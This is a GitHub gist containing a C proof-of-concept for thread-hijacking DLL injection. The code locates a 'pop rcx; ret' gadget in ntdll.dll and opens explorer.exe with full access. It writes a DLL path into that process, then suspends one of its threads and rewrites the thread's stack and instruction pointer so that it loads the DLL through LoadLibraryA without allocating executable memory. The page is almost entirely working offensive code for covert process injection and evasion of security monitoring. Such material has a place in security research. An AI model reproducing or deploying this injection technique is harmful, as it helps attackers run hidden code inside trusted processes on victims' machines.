Skip to content

Instantly share code, notes, and snippets.

@bad0ps3c
Created September 28, 2024 20:30
Show Gist options
  • Select an option

  • Save bad0ps3c/20f7a349539ceea76a4ad3d8ce7a6078 to your computer and use it in GitHub Desktop.

Select an option

Save bad0ps3c/20f7a349539ceea76a4ad3d8ce7a6078 to your computer and use it in GitHub Desktop.
Thread Hijacking without executable memory allocation PoC
/*
* Thread Hijacking without executable memory allocation PoC
*
* @UmaRex01
* https://medium.com/@umarex01/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca
*/
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdio.h>
#define TARGET_PROCESS TEXT("explorer.exe")
DWORD FindProcessByName(const TCHAR* procName);
BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress);
VOID PrintLastError();
int main()
{
CHAR dllPath[] = "C:\\Users\\user\\Test.dll";
HANDLE hProcess = NULL, hThreadSnap = NULL, hRemoteThread = NULL;
DWORD dwTgtProcId = 0;
THREADENTRY32 te32;
LPVOID pRemoteDllPath = NULL, pPopRcxRetGadgetAddr;
CONTEXT threadContext;
// pop rcx; ret
BYTE popRcxRet[] = { 0x59, 0xC3 };
BYTE buffer[24] = { 0 };
threadContext.ContextFlags = CONTEXT_FULL;
te32.dwSize = sizeof(THREADENTRY32);
// Find the "pop rcx; ret" gadget in ntdll.dll
if (!FindGadgetInFunction("ntdll.dll", popRcxRet, sizeof(popRcxRet), &pPopRcxRetGadgetAddr)) {
printf("[-] Unable to find the gadgets in ntdll.dll\n");
return 1;
}
printf("[+] Found gadgets at: %p\n", pPopRcxRetGadgetAddr);
// Find the target process by name
dwTgtProcId = FindProcessByName(TARGET_PROCESS);
if (dwTgtProcId == 0) {
printf("[-] Target process not found\n");
PrintLastError();
return;
}
printf("[+] Target PID: %d\n", dwTgtProcId);
// Open a handle to the target process with all access rights
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTgtProcId);
if (hProcess == NULL) {
printf("[-] Failed to obtain handle to the target process\n");
PrintLastError();
goto Exit;
}
printf("[+] Successfully obtained handle to the target process\n");
// Allocate rw memory in the target process for the DLL path
pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteDllPath == NULL) {
printf("[-] Remote memory allocation failed\n");
PrintLastError();
goto Exit;
}
printf("[+] Remote memory allocated successfully: %p\n", pRemoteDllPath);
// Write the DLL path into the allocated memory in the target process
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, strlen(dllPath) + 1, NULL)) {
printf("[-] Failed to write to the target process memory\n");
PrintLastError();
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] DLL path successfully written to the target process memory\n");
// Take a snapshot of all threads in the system
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create a snapshot of the threads\n");
PrintLastError();
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
// Find the first thread in the target process
if (Thread32First(hThreadSnap, &te32)) {
while (Thread32Next(hThreadSnap, &te32)) {
if (te32.th32OwnerProcessID == dwTgtProcId) {
hRemoteThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
break;
}
}
}
if (hRemoteThread == NULL) {
printf("[-] No thread found in the target process\n");
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] Target TID: %d\n", te32.th32ThreadID);
// Suspend the thread to modify its context
SuspendThread(hRemoteThread);
GetThreadContext(hRemoteThread, &threadContext);
// Prepare the buffer with the DLL path and function pointers.
// RCX will hold the address of the DLL path in the target process.
// This value will be passed to LoadLibraryA after the "pop rcx; ret" gadget is executed.
*(DWORD64*)(buffer) = (DWORD64)pRemoteDllPath;
// The next value in the buffer is the return address, which will be the address of LoadLibraryA.
// After the "pop rcx; ret" gadget, the execution will jump to LoadLibraryA and use the
// value in RCX (the DLL path) as its argument.
*(DWORD64*)(buffer + 8) = (DWORD64)LoadLibraryA;
// After LoadLibraryA finishes executing and the DLL is loaded, the thread should cleanly exit.
// We ensure that the next value on the stack after the gadget execution is the address of ExitThread.
*(DWORD64*)(buffer + 16) = (DWORD64)ExitThread;
// Adjust the stack pointer (RSP). The decrement of 32 bytes ensures that the stack
// is properly aligned and avoids overwriting any important data.
threadContext.Rsp -= 32;
// Set the instruction pointer (RIP) to the gadget "pop rcx; ret".
threadContext.Rip = (DWORD64)pPopRcxRetGadgetAddr;
// Write the modified context (buffer) to the target thread's stack
if (!WriteProcessMemory(hProcess, (PVOID)(threadContext.Rsp), buffer, 24, NULL)) {
printf("[-] Failed to write to the target thread's stack\n");
PrintLastError();
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] Successfully wrote to the target thread's stack\n");
// Overwrite the target thread's context with the new values
if (!SetThreadContext(hRemoteThread, &threadContext)) {
printf("[-] Failed to set the target thread's context\n");
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
goto Exit;
}
printf("[+] Thread context successfully overwritten\n");
// Wait before resuming the thread to ensure the context has been modified
Sleep(2000);
// Resume the hijacked thread
ResumeThread(hRemoteThread);
printf("[+] Remote thread successfully hijacked\n");
Exit:
if (hRemoteThread != NULL) CloseHandle(hRemoteThread);
if (hThreadSnap != NULL) CloseHandle(hThreadSnap);
if (hProcess != NULL) CloseHandle(hProcess);
return 0;
}
/********** HELPER FUNCTIONS **********/
BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress)
{
HMODULE hModule = GetModuleHandleA(moduleName);
if (hModule == NULL)
return FALSE;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
BYTE* addressStart = (BYTE*)hModule;
DWORD textSectionSize = pSectionHeader->Misc.VirtualSize;
for (DWORD i = 0; i < textSectionSize - 3; i++) {
if (memcmp(addressStart + i, gadget, gadgetSize) == 0) {
*oFoundAddress = (LPVOID)(addressStart + i);
FreeLibrary(hModule);
return TRUE;
}
}
FreeLibrary(hModule);
return FALSE;
}
DWORD FindProcessByName(const TCHAR* procName)
{
HANDLE hSnapshot;
DWORD dwProcId = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;
if (Process32First(hSnapshot, &pe32)) {
do {
if (_tcsicmp(pe32.szExeFile, procName) == 0) {
dwProcId = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return dwProcId;
}
VOID PrintLastError()
{
LPVOID lpMsgBuf;
DWORD errorCode = GetLastError();
if (errorCode == 0)
return;
if (FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&lpMsgBuf, 0, NULL) == 0) {
printf("[-] Failed to retrieve error message for code: %d\n", errorCode);
return;
}
printf("[-] Error %d: %s", errorCode, (char*)lpMsgBuf);
LocalFree(lpMsgBuf);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment